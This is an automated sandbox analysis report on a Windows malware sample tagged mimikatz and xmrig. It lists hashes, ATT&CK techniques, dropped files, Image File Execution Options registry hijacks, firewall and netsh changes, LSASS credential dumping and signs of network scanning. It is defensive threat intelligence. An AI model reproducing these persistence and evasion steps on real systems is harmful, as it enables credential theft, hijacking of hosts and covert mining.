mimikatz | 1b99695eb8d052236b7ce2f434054b890042d81c6b7f44d1cafef83cd6ae32fe

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-11-2024 06:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe
Size

8.5MB
MD5

53e72dae510c66039af475423b94df4b
SHA1

7604f48b4c950136ab80af3bef1fb11582d9b5a3
SHA256

1b99695eb8d052236b7ce2f434054b890042d81c6b7f44d1cafef83cd6ae32fe
SHA512

00d5a8d5f01298445046f543684adc8d6873f2751a3d63f6b0783f46a80d292175d3ef7f81cd0eee82cc6a9c2d2fecfaec46ae225a22870457d4a73a9e37f61d
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

qimkcel.exe

description pid process target process

PID 3828 created 1780 3828 qimkcel.exe spoolsv.exe
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (19733) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

description	pid	process	target process
PID 3828 created 1780	3828	qimkcel.exe	spoolsv.exe

XMRig Miner payload 10 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2112-180-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-184-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-201-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-214-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-223-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-232-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-243-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-493-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-494-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig
behavioral2/memory/2112-536-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3552-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3552-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
C:\Windows\mrkytpbw\qimkcel.exe	mimikatz
behavioral2/memory/2096-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4960-137-0x00007FF71DF60000-0x00007FF71E04E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

Processes:

qimkcel.exewpcap.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	qimkcel.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	qimkcel.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

qimkcel.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	qimkcel.exe

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

4656 netsh.exe
228 netsh.exe

pid	process
4656	netsh.exe
228	netsh.exe

Executes dropped EXE 27 IoCs

Processes:

qimkcel.exeqimkcel.exewpcap.exeuutltfljw.exevfshost.exejiurhmlkh.exexohudmc.exevarpws.exeikrhah.exejiurhmlkh.exeqimkcel.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exeauljwezhy.exeqimkcel.exe

pid	process
2096	qimkcel.exe
3828	qimkcel.exe
1376	wpcap.exe
2940	uutltfljw.exe
4960	vfshost.exe
2348	jiurhmlkh.exe
4648	xohudmc.exe
4600	varpws.exe
2112	ikrhah.exe
3088	jiurhmlkh.exe
5108	qimkcel.exe
4104	jiurhmlkh.exe
2692	jiurhmlkh.exe
3496	jiurhmlkh.exe
2360	jiurhmlkh.exe
1204	jiurhmlkh.exe
1256	jiurhmlkh.exe
1140	jiurhmlkh.exe
2636	jiurhmlkh.exe
3632	jiurhmlkh.exe
4648	jiurhmlkh.exe
1680	jiurhmlkh.exe
3380	jiurhmlkh.exe
2500	jiurhmlkh.exe
4000	jiurhmlkh.exe
2692	auljwezhy.exe
3400	qimkcel.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exeuutltfljw.exe

pid	process
1376	wpcap.exe
1376	wpcap.exe
1376	wpcap.exe
1376	wpcap.exe
1376	wpcap.exe
1376	wpcap.exe
1376	wpcap.exe
1376	wpcap.exe
1376	wpcap.exe
2940	uutltfljw.exe
2940	uutltfljw.exe
2940	uutltfljw.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

73 ifconfig.me
74 ifconfig.me
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

flow	ioc
73	ifconfig.me
74	ifconfig.me

Drops file in System32 directory 18 IoCs

Processes:

qimkcel.exewpcap.exexohudmc.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	qimkcel.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	qimkcel.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	qimkcel.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	qimkcel.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	qimkcel.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\varpws.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	qimkcel.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	qimkcel.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	qimkcel.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\varpws.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	qimkcel.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	qimkcel.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	qimkcel.exe

UPX packed file 33 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\gleeqcecb\Corporate\vfshost.exe	upx
behavioral2/memory/4960-136-0x00007FF71DF60000-0x00007FF71E04E000-memory.dmp	upx
behavioral2/memory/4960-137-0x00007FF71DF60000-0x00007FF71E04E000-memory.dmp	upx
C:\Windows\Temp\gleeqcecb\jiurhmlkh.exe	upx
behavioral2/memory/2348-141-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2348-158-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
C:\Windows\Temp\lbkubiujb\ikrhah.exe	upx
behavioral2/memory/2112-163-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/3088-169-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/4104-177-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2112-180-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/2692-182-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2112-184-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/3496-187-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2360-191-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/1204-195-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/1256-199-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2112-201-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/1140-204-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2636-208-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/3632-212-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2112-214-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/4648-217-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/1680-221-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2112-223-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/3380-226-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2500-229-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/4000-231-0x00007FF6A54B0000-0x00007FF6A550B000-memory.dmp	upx
behavioral2/memory/2112-232-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/2112-243-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/2112-493-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/2112-494-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx
behavioral2/memory/2112-536-0x00007FF643D20000-0x00007FF643E40000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

qimkcel.execmd.exe2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exeauljwezhy.exe

description	ioc	process
File created	C:\Windows\gleeqcecb\UnattendGC\specials\svschost.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\spoolsrv.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\Shellcode.ini	qimkcel.exe
File created	C:\Windows\ime\qimkcel.exe	qimkcel.exe
File opened for modification	C:\Windows\mrkytpbw\spoolsrv.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\crli-0.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\trfo-2.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\docmicfg.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\svschost.xml	qimkcel.exe
File created	C:\Windows\mrkytpbw\svschost.xml	qimkcel.exe
File created	C:\Windows\mrkytpbw\vimpcsvc.xml	qimkcel.exe
File created	C:\Windows\mrkytpbw\docmicfg.xml	qimkcel.exe
File created	C:\Windows\mrkytpbw\schoedcl.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\Corporate\mimilib.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\exma-1.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\zlib1.dll	qimkcel.exe
File created	C:\Windows\mrkytpbw\spoolsrv.xml	qimkcel.exe
File opened for modification	C:\Windows\mrkytpbw\vimpcsvc.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\tucl-1.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\vimpcsvc.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\AppCapture64.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\libxml2.dll	qimkcel.exe
File opened for modification	C:\Windows\mrkytpbw\svschost.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\shhwuwcbk\auljwezhy.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\upbdrjv\swrpwe.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\shhwuwcbk\uutltfljw.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\coli-0.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\AppCapture32.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\shhwuwcbk\ip.txt	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\ucl.dll	qimkcel.exe
File opened for modification	C:\Windows\mrkytpbw\docmicfg.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\Corporate\mimidrv.sys	qimkcel.exe
File opened for modification	C:\Windows\gleeqcecb\Corporate\log.txt	cmd.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\schoedcl.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\schoedcl.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\shhwuwcbk\wpcap.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\cnli-1.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\ssleay32.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\docmicfg.exe	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\docmicfg.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\schoedcl.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\Corporate\vfshost.exe	qimkcel.exe
File created	C:\Windows\mrkytpbw\qimkcel.exe	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\tibe-2.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\svschost.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\spoolsrv.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\vimpcsvc.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\shhwuwcbk\scan.bat	qimkcel.exe
File created	C:\Windows\gleeqcecb\shhwuwcbk\wpcap.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\posh-0.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\vimpcsvc.xml	qimkcel.exe
File opened for modification	C:\Windows\mrkytpbw\qimkcel.exe	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe
File created	C:\Windows\gleeqcecb\shhwuwcbk\Packet.dll	qimkcel.exe
File opened for modification	C:\Windows\gleeqcecb\shhwuwcbk\Packet.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\libeay32.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\xdvl-0.dll	qimkcel.exe
File opened for modification	C:\Windows\mrkytpbw\schoedcl.xml	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\trch-1.dll	qimkcel.exe
File created	C:\Windows\gleeqcecb\UnattendGC\specials\spoolsrv.xml	qimkcel.exe
File opened for modification	C:\Windows\gleeqcecb\shhwuwcbk\Result.txt	auljwezhy.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1260 sc.exe
1016 sc.exe
5116 sc.exe
4120 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1260	sc.exe
1016	sc.exe
5116	sc.exe
4120	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
